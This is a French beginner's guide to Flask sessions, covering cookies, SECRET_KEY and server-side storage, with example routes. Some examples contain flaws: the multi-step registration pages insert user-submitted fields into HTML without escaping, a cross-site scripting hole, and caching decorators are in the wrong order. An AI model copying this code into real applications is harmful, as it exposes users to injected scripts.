# ============================================================================
# [LIVRE] SESSIONS FLASK - GUIDE ULTRA-DÉTAILLÉ POUR DÉBUTANTS
# ============================================================================
#
# [OBJECTIF] GUIDE COMPLET POUR MAÎTRISER LES SESSIONS FLASK
#
# Ce guide est organisé en 4 parties progressives :
#
# PARTIE 1 : FONDAMENTAUX (session_partie1_fondamentaux.txt)
# - Chapitre 0 : Introduction aux Sessions
# - Chapitre 1 : Première Session Flask
# - Chapitre 2 : Opérations de Base
# - Chapitre 3 : Types de Données
#
# PARTIE 2 : CONFIGURATION ET SÉCURITÉ (session_partie2_configuration.txt)
# - Chapitre 4 : Configuration des Sessions
# - Chapitre 5 : Sécurité des Sessions
# - Chapitre 6 : Cookies et Sessions
# - Chapitre 7 : Sessions Côté Serveur
#
# PARTIE 3 : APPLICATIONS PRATIQUES (session_partie3_pratique.txt)
# - Chapitre 8 : Authentification avec Sessions
# - Chapitre 9 : Panier d'Achat
# - Chapitre 10 : Gestion de l'État Utilisateur
# - Chapitre 11 : Flash Messages et Sessions
#
# PARTIE 4 : AVANCÉ ET PRODUCTION (session_partie4_avance.txt)
# - Chapitre 12 : Sessions Distribuées (Redis, Memcached)
# - Chapitre 13 : Performance et Optimisation
# - Chapitre 14 : Débogage et Monitoring
# - Chapitre 15 : Best Practices et Sécurité Avancée
#
# [TEMPS] TEMPS DE LECTURE TOTAL : ~10-12 heures
# [DOCS] PRÉREQUIS : Bases de Flask (routes, templates)
#
# [IDEE] COMMENT UTILISER CE GUIDE :
# 1. Lisez les parties dans l'ordre
# 2. Testez TOUS les exemples
# 3. Faites les exercices pratiques
# 4. Créez vos propres applications
#
# ============================================================================

"""
[OBJECTIF] PHILOSOPHIE DE CE GUIDE

COMMENT ? -> Explications pas à pas avec code
POURQUOI ? -> Raisons et contexte détaillés
QUAND ? -> Cas d'usage concrets et réels
PRATIQUE -> Exemples complets et testables

Ce guide vise à être VOTRE SEULE RÉFÉRENCE pour les Sessions Flask !
"""

# ============================================================================
# [NOTE] CONVENTIONS UTILISÉES DANS CE GUIDE
# ============================================================================

"""
[IDEE] Information importante
[REFLEXION] Question / Réflexion
[OK] Bonne pratique
[X] Mauvaise pratique
[ATTENTION] Attention / Avertissement
[CLE] Point clé à retenir
[COURS] Exercice pratique
[DOCS] Résumé
[OBJECTIF] Objectif
[TEMPS] Temps estimé
[RAPIDE] Prêt pour la suite
[VERROUILLE] Aspect sécurité
[BUG] Problème courant
[SAUVEGARDE] Persistance des données
"""


# ============================================================================
# [GUIDE] CHAPITRE 0 : INTRODUCTION AUX SESSIONS
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Ce qu'est une session et pourquoi elle est nécessaire
[OK] Comment HTTP est stateless et le problème que ça pose
[OK] Différence entre sessions, cookies et cache
[OK] Comment Flask implémente les sessions
[OK] Quand utiliser les sessions vs autres solutions
"""


# ----------------------------------------------------------------------------
# [REFLEXION] QU'EST-CE QU'UNE SESSION ?
# ----------------------------------------------------------------------------

"""
DÉFINITION SIMPLE

Une SESSION est un mécanisme pour stocker des informations spécifiques 
à un utilisateur entre plusieurs requêtes HTTP.

[IDEE] ANALOGIE SIMPLE : Le Panier d'Achat [SHOPPING_TROLLEY]

Imaginez que vous faites des courses en ligne :

SANS SESSIONS (impossible !) :
1. Vous ajoutez un livre au panier -> OK
2. Vous naviguez vers une autre page
3. Le serveur vous oublie complètement ! [!]
4. Votre panier est vide !

AVEC SESSIONS :
1. Vous ajoutez un livre au panier
2. Le serveur se "souvient" de vous via une session
3. Vous naviguez partout sur le site
4. Votre panier reste intact ! [BRAVO]


[REFLEXION] POURQUOI AVONS-NOUS BESOIN DE SESSIONS ?

Le problème : HTTP est STATELESS (sans état)
"""

# ============================================================================
# PROBLÈME : HTTP EST STATELESS
# ============================================================================

"""
[IDEE] QU'EST-CE QUE STATELESS ?

HTTP = Protocole de communication web
STATELESS = Le serveur ne garde aucune mémoire entre les requêtes

VISUALISATION :
"""

# [X] Sans Sessions (HTTP pur)

# Requête 1 : Page d'accueil
GET /
Serveur : "Bonjour ! Qui êtes-vous ?"
Client : "Je suis Alice"
Serveur répond et... OUBLIE TOUT

# Requête 2 : Page profil (quelques secondes plus tard)
GET /profile
Serveur : "Bonjour ! Qui êtes-vous ?" [CONFUSED_FACE]
Client : "Encore moi, Alice !"
Serveur : "Désolé, je ne vous connais pas"

"""
[X] CONSÉQUENCES SANS SESSIONS :

1. PAS D'AUTHENTIFICATION PERSISTANTE
   - Vous devez vous reconnecter à chaque page !
   - Impossible de rester "connecté"

2. PAS DE PANIER D'ACHAT
   - Impossible de garder des articles
   - Chaque page = nouveau panier vide

3. PAS DE PRÉFÉRENCES UTILISATEUR
   - Langue, thème, paramètres perdus
   - Chaque page = recommencer

4. PAS DE SUIVI DE NAVIGATION
   - Impossible de savoir d'où vient l'utilisateur
   - Pas de "dernière page visitée"

5. EXPÉRIENCE UTILISATEUR HORRIBLE
   - Frustration totale
   - Site inutilisable
"""


# ============================================================================
# [OK] SOLUTION : LES SESSIONS
# ============================================================================

"""
AVEC SESSIONS :
"""

from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'votre-cle-secrete'  # Nécessaire pour les sessions

# Première visite
@app.route('/')
def home():
    session['username'] = 'Alice'  # Stocker dans la session
    return "Bienvenue Alice !"

# Deuxième visite (même utilisateur)
@app.route('/profile')
def profile():
    username = session.get('username')  # Récupérer depuis la session
    return f"Profil de {username}"  # "Profil de Alice" [OK]

"""
[IDEE] MAGIE DES SESSIONS :

1. PREMIÈRE REQUÊTE :
   - Alice visite /
   - Serveur crée une SESSION pour Alice
   - Stocke username='Alice' dans la session
   - Renvoie un COOKIE à Alice (identifiant de session)

2. REQUÊTES SUIVANTES :
   - Alice visite /profile
   - Navigateur envoie automatiquement le cookie
   - Serveur reconnaît Alice via le cookie
   - Retrouve sa session et ses données
   - "Profil de Alice" [OK]


FLUX COMPLET :

┌──────────┐                                    ┌──────────┐
│ CLIENT   │                                    │ SERVEUR  │
│ (Alice)  │                                    │  Flask   │
└──────────┘                                    └──────────┘
     │                                                │
     │  1. GET / (première visite)                   │
     │──────────────────────────────────────────────>│
     │                                                │
     │                         2. Créer session Alice│
     │                            session['username']│
     │                               = 'Alice'       │
     │                                                │
     │  3. Response + Cookie session_id=abc123       │
     │<──────────────────────────────────────────────│
     │                                                │
     │                                                │
     │  4. GET /profile + Cookie: session_id=abc123  │
     │──────────────────────────────────────────────>│
     │                                                │
     │                    5. Lire cookie abc123      │
     │                       Retrouver session Alice │
     │                       username = 'Alice'      │
     │                                                │
     │  6. Response "Profil de Alice"                │
     │<──────────────────────────────────────────────│
     │                                                │
"""


# ----------------------------------------------------------------------------
# [CLE] COMPOSANTS D'UNE SESSION FLASK
# ----------------------------------------------------------------------------

"""
UNE SESSION FLASK = 3 ÉLÉMENTS

1. COOKIE (Côté Client)
   ├─ Petit fichier stocké dans le navigateur
   ├─ Contient l'identifiant de session
   └─ Envoyé automatiquement à chaque requête

2. DONNÉES DE SESSION (Côté Serveur/Cookie)
   ├─ Dictionnaire Python
   ├─ Stocke les informations utilisateur
   └─ Accessible via `session`

3. SECRET_KEY (Côté Serveur)
   ├─ Clé secrète pour chiffrer
   ├─ Signe les cookies
   └─ Protège contre les modifications


EXEMPLE CONCRET :
"""

from flask import Flask, session
app = Flask(__name__)

# 3. SECRET_KEY - OBLIGATOIRE !
app.secret_key = 'cle-super-secrete-a-changer'

@app.route('/login')
def login():
    # 2. DONNÉES DE SESSION (dictionnaire)
    session['user_id'] = 123
    session['username'] = 'Alice'
    session['role'] = 'admin'
    
    # Flask créé automatiquement le COOKIE
    # et le renvoie au client
    
    return "Connecté !"

@app.route('/dashboard')
def dashboard():
    # Lire depuis la session
    user_id = session.get('user_id')
    username = session.get('username')
    
    if user_id:
        return f"Dashboard de {username} (ID: {user_id})"
    else:
        return "Non connecté"

"""
[IDEE] CE QUI SE PASSE EN COULISSES :

1. /login est appelé :
   ├─ session['user_id'] = 123
   ├─ session['username'] = 'Alice'
   ├─ Flask sérialise les données : {"user_id": 123, "username": "Alice"}
   ├─ Flask signe avec SECRET_KEY
   └─ Flask crée cookie : session=eyJ1c2VyX2lk...

2. Cookie envoyé au navigateur :
   └─ Set-Cookie: session=eyJ1c2VyX2lk...; Path=/; HttpOnly

3. /dashboard est appelé :
   ├─ Navigateur envoie automatiquement : Cookie: session=eyJ1c2VyX2lk...
   ├─ Flask lit le cookie
   ├─ Flask vérifie la signature (SECRET_KEY)
   ├─ Flask désérialise : {"user_id": 123, "username": "Alice"}
   └─ session.get('user_id') retourne 123 [OK]
"""


# ----------------------------------------------------------------------------
# 🆚 SESSIONS vs COOKIES vs CACHE vs BASE DE DONNÉES
# ----------------------------------------------------------------------------

"""
[REFLEXION] DIFFÉRENCES FONDAMENTALES


┌─────────────────────────────────────────────────────────────────────┐
│                     COMPARAISON DÉTAILLÉE                           │
├──────────┬───────────┬──────────┬──────────┬────────────────────────┤
│          │ SESSIONS  │ COOKIES  │  CACHE   │  BASE DE DONNÉES       │
├──────────┼───────────┼──────────┼──────────┼────────────────────────┤
│ Stockage │ Cookie    │ Client   │ Serveur  │ Disque (serveur)       │
│          │ (Flask)   │ (browser)│ (RAM)    │                        │
├──────────┼───────────┼──────────┼──────────┼────────────────────────┤
│ Durée    │ Navigateur│ Définie  │ Courte   │ Permanente             │
│          │ ouvert    │ (max_age)│ (minutes)│                        │
├──────────┼───────────┼──────────┼──────────┼────────────────────────┤
│ Taille   │ ~4 KB     │ ~4 KB    │ Variable │ Illimitée              │
├──────────┼───────────┼──────────┼──────────┼────────────────────────┤
│ Sécurité │ Signé     │ Non      │ N/A      │ Sécurisé               │
│          │ (safe)    │ sécurisé │          │                        │
├──────────┼───────────┼──────────┼──────────┼────────────────────────┤
│ Use Case │ Auth,     │ Préf.,   │ Résultats│ Données utilisateur,   │
│          │ panier    │ tracking │ requêtes │ contenu permanent      │
└──────────┴───────────┴──────────┴──────────┴────────────────────────┘


SESSIONS (Flask session)
────────────────────────
"""

from flask import session

session['user_id'] = 123
session['cart'] = [1, 2, 3]

"""
[OK] AVANTAGES :
- Facile à utiliser (dictionnaire Python)
- Sécurisé (signé avec SECRET_KEY)
- Automatique (pas de code cookie)
- Parfait pour données temporaires
- Spécifique à un utilisateur

[X] INCONVÉNIENTS :
- Limité en taille (~4 KB)
- Perdu si navigateur fermé (par défaut)
- Données dans cookie (pas complètement caché)
- Pas partagé entre serveurs (sans Redis/DB)


COOKIES (Bruts)
───────────────
"""

from flask import make_response

@app.route('/set-cookie')
def set_cookie():
    resp = make_response("Cookie défini")
    resp.set_cookie('username', 'Alice', max_age=60*60*24*30)  # 30 jours
    return resp

@app.route('/get-cookie')
def get_cookie():
    username = request.cookies.get('username')
    return f"Username: {username}"

"""
[OK] AVANTAGES :
- Persistant (peut durer longtemps)
- Contrôle total (max_age, domain, etc.)
- Pas besoin de SECRET_KEY

[X] INCONVÉNIENTS :
- Pas sécurisé (visible, modifiable)
- Limité en taille
- Manuel (beaucoup de code)
- Vulnérable aux attaques


CACHE (Flask-Caching)
─────────────────────
"""

from flask_caching import Cache

cache = Cache(app, config={'CACHE_TYPE': 'simple'})

@cache.cached(timeout=300)  # 5 minutes
@app.route('/expensive')
def expensive():
    # Calcul coûteux
    result = perform_heavy_computation()
    return result

"""
[OK] AVANTAGES :
- Très rapide (RAM)
- Réduit charge serveur
- Partagé entre utilisateurs

[X] INCONVÉNIENTS :
- Temporaire (expire)
- Pas spécifique à un utilisateur
- Perdu au redémarrage
- Pour données calculées, pas utilisateur


BASE DE DONNÉES
───────────────
"""

from flask_sqlalchemy import SQLAlchemy

db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80))

# Sauvegarder
user = User(username='Alice')
db.session.add(user)
db.session.commit()

# Récupérer
user = User.query.filter_by(username='Alice').first()

"""
[OK] AVANTAGES :
- Permanent
- Illimité en taille
- Structuré (relations)
- Requêtes complexes
- Partagé entre serveurs

[X] INCONVÉNIENTS :
- Plus lent (I/O disque)
- Plus complexe
- Overkill pour données temporaires


QUAND UTILISER QUOI ?
─────────────────────

┌────────────────────────┬─────────────────────────────┐
│ BESOIN                 │ SOLUTION                    │
├────────────────────────┼─────────────────────────────┤
│ Utilisateur connecté ? │ SESSION                     │
│ Panier d'achat ?       │ SESSION                     │
│ Langue du site ?       │ SESSION ou COOKIE           │
│ "Se souvenir de moi" ? │ COOKIE (longue durée)       │
│ Résultats de recherche?│ CACHE                       │
│ Infos utilisateur ?    │ BASE DE DONNÉES             │
│ Articles de blog ?     │ BASE DE DONNÉES             │
│ Tracking analytics ?   │ COOKIE                      │
│ Token CSRF ?           │ SESSION                     │
│ Préférences UI ?       │ COOKIE ou SESSION           │
└────────────────────────┴─────────────────────────────┘


EXEMPLE : E-COMMERCE COMPLET
"""

# 1. AUTHENTIFICATION -> SESSION
@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    
    user = User.query.filter_by(username=username).first()
    if user and user.check_password(password):
        session['user_id'] = user.id  # SESSION pour auth
        return redirect('/dashboard')
    
    return "Login failed"


# 2. PANIER -> SESSION
@app.route('/add-to-cart/<int:product_id>')
def add_to_cart(product_id):
    cart = session.get('cart', [])
    cart.append(product_id)
    session['cart'] = cart  # SESSION pour panier temporaire
    return "Ajouté au panier"


# 3. PRÉFÉRENCE LANGUE -> COOKIE
@app.route('/set-language/<lang>')
def set_language(lang):
    resp = make_response(redirect('/'))
    resp.set_cookie('language', lang, max_age=60*60*24*365)  # COOKIE 1 an
    return resp


# 4. PRODUITS -> BASE DE DONNÉES
@app.route('/products')
def products():
    products = Product.query.all()  # DB pour données permanentes
    return render_template('products.html', products=products)


# 5. RÉSULTATS RECHERCHE -> CACHE
@cache.cached(timeout=300, query_string=True)
@app.route('/search')
def search():
    query = request.args.get('q')
    results = perform_search(query)  # Mise en cache 5 min
    return render_template('results.html', results=results)


# ----------------------------------------------------------------------------
# [RECHERCHE] COMMENT FLASK IMPLÉMENTE LES SESSIONS
# ----------------------------------------------------------------------------

"""
TYPES DE SESSIONS DANS FLASK

Flask supporte plusieurs backends de sessions :

1. CLIENT-SIDE SESSIONS (Défaut)
   └─ Données stockées dans le cookie (signées)

2. SERVER-SIDE SESSIONS (Extensions)
   ├─ Flask-Session avec Redis
   ├─ Flask-Session avec Memcached
   ├─ Flask-Session avec Base de données
   └─ Flask-Session avec Filesystem


1. CLIENT-SIDE SESSIONS (Défaut Flask)
───────────────────────────────────────
"""

from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'secret'

@app.route('/set')
def set_session():
    session['username'] = 'Alice'
    session['role'] = 'admin'
    # Données stockées dans le cookie du navigateur
    return "Session créée"

"""
[IDEE] FONCTIONNEMENT :

1. Vous faites : session['username'] = 'Alice'

2. Flask fait :
   a. Sérialise les données : {"username": "Alice", "role": "admin"}
   b. Compresse (optionnel)
   c. Encode en base64
   d. Signe avec HMAC-SHA256 (SECRET_KEY)
   e. Crée cookie : session=eyJ1c2VyX2lk...

3. Navigateur stocke le cookie

4. Prochaine requête :
   a. Navigateur envoie cookie
   b. Flask vérifie signature
   c. Décode base64
   d. Désérialise JSON
   e. session['username'] disponible !


COOKIE GÉNÉRÉ (exemple) :
"""
# Cookie réel (simplifié) :
session=eyJyb2xlIjoiYWRtaW4iLCJ1c2VybmFtZSI6IkFsaWNlIn0.ZrQK2Q.1234567890abcdef

# Structure :
# [payload].[timestamp].[signature]
#    v          v           v
# Données    Quand créé   Signature HMAC

"""
[OK] AVANTAGES CLIENT-SIDE :
- Simple (pas de serveur de sessions)
- Scalable (pas d'état côté serveur)
- Pas besoin de Redis/DB
- Fonctionne partout

[X] INCONVÉNIENTS CLIENT-SIDE :
- Limité en taille (~4 KB)
- Données visibles (base64 ≠ chiffrement !)
- Cookie envoyé à chaque requête (bandwidth)
- Pas de révocation côté serveur


2. SERVER-SIDE SESSIONS (Flask-Session)
────────────────────────────────────────
"""

from flask import Flask, session
from flask_session import Session

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'redis'  # Ou 'filesystem', 'memcached', 'sqlalchemy'
app.config['SESSION_REDIS'] = redis.from_url('redis://localhost:6379')

Session(app)

@app.route('/set')
def set_session():
    session['username'] = 'Alice'
    # Données stockées sur le serveur (Redis)
    # Cookie contient SEULEMENT l'ID de session
    return "Session créée"

"""
[IDEE] FONCTIONNEMENT :

1. Vous faites : session['username'] = 'Alice'

2. Flask-Session fait :
   a. Génère un ID unique : abc123def456
   b. Stocke données sur Redis : 
      Key: session:abc123def456
      Value: {"username": "Alice", "role": "admin"}
   c. Crée cookie : session=abc123def456 (juste l'ID !)

3. Prochaine requête :
   a. Navigateur envoie cookie session=abc123def456
   b. Flask-Session récupère depuis Redis
   c. session['username'] disponible !


[OK] AVANTAGES SERVER-SIDE :
- Taille illimitée
- Données cachées (pas dans cookie)
- Révocation possible (supprimer de Redis)
- Plus sécurisé

[X] INCONVÉNIENTS SERVER-SIDE :
- Nécessite Redis/DB/Memcached
- Plus complexe
- État côté serveur
- Dépendance externe


COMPARAISON :

Client-Side (défaut)        Server-Side (Flask-Session)
────────────────────        ───────────────────────────
Cookie: 4 KB de données     Cookie: ID (40 bytes)
Pas de serveur externe      Nécessite Redis/DB
Simple                      Plus complexe
Données visibles            Données cachées
Limité en taille            Illimité
"""


# ----------------------------------------------------------------------------
# [DOCS] RÉCAPITULATIF CHAPITRE 0
# ----------------------------------------------------------------------------

"""
CE QUE VOUS AVEZ APPRIS

[OK] HTTP est stateless (sans mémoire)
[OK] Sessions = solution pour garder l'état utilisateur
[OK] Session Flask = Cookie signé + Dictionnaire Python
[OK] 3 composants : Cookie, Données, SECRET_KEY
[OK] Différences Sessions vs Cookies vs Cache vs DB
[OK] 2 types : Client-side (défaut) vs Server-side (Redis)


[CLE] POINTS CLÉS

1. Session = Mémoire entre requêtes HTTP
2. Cookie = Véhicule de l'identifiant
3. SECRET_KEY = Sécurité (OBLIGATOIRE !)
4. Client-side = Simple mais limité
5. Server-side = Puissant mais complexe


[OBJECTIF] AVANT DE CONTINUER

Assurez-vous de comprendre :
[OK] Pourquoi HTTP est stateless
[OK] Comment une session résout ce problème
[OK] Différence session vs cookie
[OK] Rôle de SECRET_KEY


-> PROCHAINE ÉTAPE : Chapitre 1 - Première Session Flask !

Vous allez apprendre :
- Créer votre première session
- Stocker et récupérer des données
- Configuration de base
- Premiers exemples concrets

Prêt ? C'est parti ! [RAPIDE]
"""


# ============================================================================
# [GUIDE] CHAPITRE 1 : PREMIÈRE SESSION FLASK
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Configurer Flask pour utiliser les sessions
[OK] Créer votre première session
[OK] Stocker des données dans une session
[OK] Récupérer des données depuis une session
[OK] Modifier et supprimer des données de session
[OK] Comprendre le cycle de vie d'une session
"""


# ----------------------------------------------------------------------------
# [OUTIL] CONFIGURATION MINIMALE
# ----------------------------------------------------------------------------

"""
ÉTAPE 1 : CRÉER L'APPLICATION
"""

from flask import Flask, session
import os

app = Flask(__name__)

# [CLE] SECRET_KEY - ABSOLUMENT OBLIGATOIRE !
app.secret_key = 'votre-cle-super-secrete-a-changer'

"""
[IDEE] POURQUOI SECRET_KEY EST OBLIGATOIRE ?

SECRET_KEY sert à :
1. SIGNER les cookies de session
2. PROTÉGER contre les modifications
3. CHIFFRER les données sensibles

Sans SECRET_KEY :
"""

# [X] ERREUR !
app = Flask(__name__)
# Pas de secret_key défini

@app.route('/test')
def test():
    session['user'] = 'Alice'  # RuntimeError: The session is unavailable...
    return "OK"

"""
[ATTENTION] ERREUR COMPLÈTE :
RuntimeError: The session is unavailable because no secret key was set.
Set the secret_key on the application to something unique and secret.


[OK] BONNE PRATIQUE : Générer une SECRET_KEY forte
"""

# Méthode 1 : Générer aléatoirement
import secrets
app.secret_key = secrets.token_hex(32)
# Génère : 'a1b2c3d4e5f6....' (64 caractères hexadécimaux)

# Méthode 2 : Via Python
import os
app.secret_key = os.urandom(24).hex()

# Méthode 3 : Depuis variable d'environnement (PRODUCTION !)
app.secret_key = os.environ.get('SECRET_KEY') or 'dev-key-not-secure'

"""
[VERROUILLE] SÉCURITÉ SECRET_KEY :

[X] MAUVAISES SECRET_KEY :
- 'secret'
- 'dev'
- '123456'
- Votre nom
- Mot de passe simple

[OK] BONNES SECRET_KEY :
- Longue (minimum 32 caractères)
- Aléatoire
- Unique par application
- Jamais commitée dans Git
- Stockée dans variable d'environnement


CONFIGURATION COMPLÈTE :
"""

# config.py
import os
from datetime import timedelta

class Config:
    # SECRET_KEY depuis environnement
    SECRET_KEY = os.environ.get('SECRET_KEY') or secrets.token_hex(32)
    
    # Configuration sessions
    SESSION_COOKIE_NAME = 'session'
    SESSION_COOKIE_HTTPONLY = True
    SESSION_COOKIE_SECURE = False  # True en production (HTTPS)
    SESSION_COOKIE_SAMESITE = 'Lax'
    PERMANENT_SESSION_LIFETIME = timedelta(hours=1)

# app.py
from flask import Flask
from config import Config

app = Flask(__name__)
app.config.from_object(Config)


# ----------------------------------------------------------------------------
# [NOTE] CRÉER VOTRE PREMIÈRE SESSION
# ----------------------------------------------------------------------------

"""
EXEMPLE COMPLET : Compteur de Visites
"""

# app.py
from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'votre-cle-secrete'

@app.route('/')
def index():
    """
    [IDEE] PREMIÈRE SESSION
    
    À chaque visite, on incrémente un compteur
    """
    # Récupérer le compteur (défaut: 0)
    visits = session.get('visits', 0)
    
    # Incrémenter
    visits += 1
    
    # Stocker dans la session
    session['visits'] = visits
    
    return f"""
    <h1>Compteur de Visites</h1>
    <p>Vous avez visité cette page <strong>{visits}</strong> fois.</p>
    <p><a href="/">Rafraîchir</a></p>
    <p><a href="/reset">Réinitialiser</a></p>
    """

@app.route('/reset')
def reset():
    """Réinitialiser le compteur"""
    session['visits'] = 0
    return 'Compteur réinitialisé ! <a href="/">Retour</a>'

if __name__ == '__main__':
    app.run(debug=True)

"""
[IDEE] TESTEZ-LE !

1. Lancez : python app.py
2. Ouvrez : http://localhost:5000
3. Rafraîchissez plusieurs fois -> Compteur augmente !
4. Fermez le navigateur et rouvrez -> Compteur réinitialisé
5. Cliquez "Réinitialiser" -> Compteur à 0


[REFLEXION] QUE SE PASSE-T-IL ?

PREMIÈRE VISITE :
─────────────────
1. Vous visitez /
2. session.get('visits', 0) -> 0 (pas de session existante)
3. visits = 1
4. session['visits'] = 1
5. Flask crée un cookie de session
6. Cookie envoyé au navigateur
7. Affiché : "Vous avez visité 1 fois"


DEUXIÈME VISITE (même navigateur) :
────────────────────────────────────
1. Vous visitez / (navigateur envoie le cookie)
2. Flask lit le cookie
3. session.get('visits', 0) -> 1 (depuis session)
4. visits = 2
5. session['visits'] = 2
6. Cookie mis à jour
7. Affiché : "Vous avez visité 2 fois"


NAVIGATEUR FERMÉ ET ROUVERT :
──────────────────────────────
1. Cookie de session supprimé (non permanent)
2. Comme première visite
3. Compteur repart de 0


DÉTAILS TECHNIQUES :

Cookie créé par Flask :
"""
# Headers HTTP envoyés (première visite)
Set-Cookie: session=eyJ2aXNpdHMiOjF9.Zr...; HttpOnly; Path=/; SameSite=Lax

# Structure du cookie :
{
    "name": "session",
    "value": "eyJ2aXNpdHMiOjF9.Zr...",  # Données signées
    "httponly": True,  # Pas accessible en JavaScript
    "path": "/",  # Valide pour tout le site
    "samesite": "Lax"  # Protection CSRF
}

# Données dans le cookie (décodées) :
{
    "visits": 1
}


# ----------------------------------------------------------------------------
# [SAUVEGARDE] STOCKER DES DONNÉES DANS LA SESSION
# ----------------------------------------------------------------------------

"""
SESSION = DICTIONNAIRE PYTHON

La session Flask se comporte comme un dict normal :
"""

# Stocker une valeur
session['key'] = 'value'

# Stocker plusieurs valeurs
session['username'] = 'Alice'
session['user_id'] = 123
session['role'] = 'admin'

# Stocker différents types
session['count'] = 42                    # int
session['price'] = 19.99                # float
session['active'] = True                # bool
session['items'] = [1, 2, 3]           # list
session['user'] = {'id': 1, 'name': 'Alice'}  # dict
session['nothing'] = None              # None

"""
[IDEE] TYPES DE DONNÉES SUPPORTÉS

Flask utilise JSON pour sérialiser les sessions.
Seuls les types JSON sont supportés :

[OK] SUPPORTÉS :
- str (chaînes)
- int, float (nombres)
- bool (booléens)
- list (listes)
- dict (dictionnaires)
- None

[X] NON SUPPORTÉS :
- datetime (objets date/heure)
- set (ensembles)
- tuple (tuples -> convertis en listes)
- Objets personnalisés (classes)
- bytes


EXEMPLES PRATIQUES :
"""

# [OK] CORRECT
session['user'] = {
    'id': 123,
    'username': 'Alice',
    'email': 'alice@example.com',
    'is_admin': True
}

# [X] ERREUR : datetime
from datetime import datetime
session['created_at'] = datetime.now()  # TypeError!

# [OK] SOLUTION : Convertir en string
session['created_at'] = datetime.now().isoformat()
# Plus tard : datetime.fromisoformat(session['created_at'])

# [X] ERREUR : Objet personnalisé
class User:
    def __init__(self, name):
        self.name = name

session['user'] = User('Alice')  # TypeError!

# [OK] SOLUTION : Stocker seulement les données
session['user'] = {
    'name': user.name,
    'id': user.id
}


"""
EXEMPLE : FORMULAIRE MULTI-ÉTAPES
"""

@app.route('/register/step1', methods=['GET', 'POST'])
def register_step1():
    """Étape 1 : Informations de base"""
    if request.method == 'POST':
        # Stocker dans session
        session['username'] = request.form['username']
        session['email'] = request.form['email']
        return redirect('/register/step2')
    
    return '''
        <form method="POST">
            <input name="username" placeholder="Username" required>
            <input name="email" type="email" placeholder="Email" required>
            <button type="submit">Suivant</button>
        </form>
    '''

@app.route('/register/step2', methods=['GET', 'POST'])
def register_step2():
    """Étape 2 : Informations complémentaires"""
    # Vérifier que step1 est complété
    if 'username' not in session:
        return redirect('/register/step1')
    
    if request.method == 'POST':
        # Ajouter à la session existante
        session['bio'] = request.form['bio']
        session['country'] = request.form['country']
        return redirect('/register/confirm')
    
    return '''
        <form method="POST">
            <textarea name="bio" placeholder="Bio"></textarea>
            <input name="country" placeholder="Pays" required>
            <button type="submit">Suivant</button>
        </form>
    '''

@app.route('/register/confirm')
def register_confirm():
    """Confirmation finale"""
    # Récupérer toutes les données
    username = session.get('username')
    email = session.get('email')
    bio = session.get('bio')
    country = session.get('country')
    
    if not username:
        return redirect('/register/step1')
    
    return f'''
        <h2>Confirmation</h2>
        <p>Username: {username}</p>
        <p>Email: {email}</p>
        <p>Bio: {bio}</p>
        <p>Pays: {country}</p>
        <a href="/register/submit">Valider</a>
    '''

@app.route('/register/submit')
def register_submit():
    """Enregistrer l'utilisateur"""
    # Créer utilisateur avec données de session
    user = User(
        username=session['username'],
        email=session['email'],
        bio=session.get('bio'),
        country=session.get('country')
    )
    db.session.add(user)
    db.session.commit()
    
    # Nettoyer la session
    session.pop('username', None)
    session.pop('email', None)
    session.pop('bio', None)
    session.pop('country', None)
    
    return 'Inscription réussie !'


# ----------------------------------------------------------------------------
# [RECHERCHE] RÉCUPÉRER DES DONNÉES DE LA SESSION
# ----------------------------------------------------------------------------

"""
MÉTHODES POUR LIRE LA SESSION
"""

# 1. session.get() - RECOMMANDÉE !
username = session.get('username')
# Retourne None si la clé n'existe pas

# Avec valeur par défaut
username = session.get('username', 'Guest')
# Retourne 'Guest' si pas de 'username'


# 2. session['key'] - DIRECT (peut planter !)
username = session['username']
# KeyError si 'username' n'existe pas !


# 3. 'key' in session - VÉRIFIER L'EXISTENCE
if 'username' in session:
    username = session['username']
else:
    username = 'Guest'


# 4. session.setdefault() - RÉCUPÉRER OU CRÉER
cart = session.setdefault('cart', [])
# Si 'cart' existe : retourne sa valeur
# Si 'cart' n'existe pas : crée avec [], retourne []


"""
[IDEE] COMPARAISON DES MÉTHODES

┌───────────────────┬─────────────┬──────────────────────┐
│ Méthode           │ Si existe   │ Si n'existe pas      │
├───────────────────┼─────────────┼──────────────────────┤
│ .get('key')       │ Valeur      │ None                 │
│ .get('key', def)  │ Valeur      │ def (défaut)         │
│ ['key']           │ Valeur      │ KeyError !           │
│ 'key' in session  │ True        │ False                │
│ .setdefault(k,v)  │ Valeur      │ Crée v, retourne v   │
└───────────────────┴─────────────┴──────────────────────┘


EXEMPLES PRATIQUES :
"""

# Exemple 1 : Authentification
@app.route('/dashboard')
def dashboard():
    # [OK] Méthode sûre
    user_id = session.get('user_id')
    
    if user_id is None:
        return redirect('/login')
    
    user = User.query.get(user_id)
    return render_template('dashboard.html', user=user)


# Exemple 2 : Panier d'achat
@app.route('/cart')
def view_cart():
    # [OK] Avec défaut
    cart = session.get('cart', [])
    
    if not cart:
        return "Votre panier est vide"
    
    # Récupérer produits
    products = Product.query.filter(Product.id.in_(cart)).all()
    return render_template('cart.html', products=products)


# Exemple 3 : Préférences utilisateur
@app.route('/')
def home():
    # [OK] Valeur par défaut
    language = session.get('language', 'fr')
    theme = session.get('theme', 'light')
    
    return render_template('home.html', lang=language, theme=theme)


# Exemple 4 : Compteur avec setdefault
@app.route('/count')
def count():
    # Créer si n'existe pas, incrémenter sinon
    count = session.setdefault('count', 0)
    session['count'] = count + 1
    
    return f"Count: {session['count']}"


"""
[ATTENTION] ERREUR COURANTE : KeyError
"""

# [X] MAUVAIS (peut planter)
@app.route('/profile')
def profile():
    username = session['username']  # KeyError si pas connecté !
    return f"Profile de {username}"

# [OK] BON
@app.route('/profile')
def profile():
    username = session.get('username')
    
    if username is None:
        flash('Veuillez vous connecter')
        return redirect('/login')
    
    return f"Profile de {username}"


# Ce guide continue dans session_partie1_suite.txt...

# ============================================================================
# [LIVRE] SESSIONS FLASK - PARTIE 1 (SUITE) : OPÉRATIONS ET CYCLE DE VIE
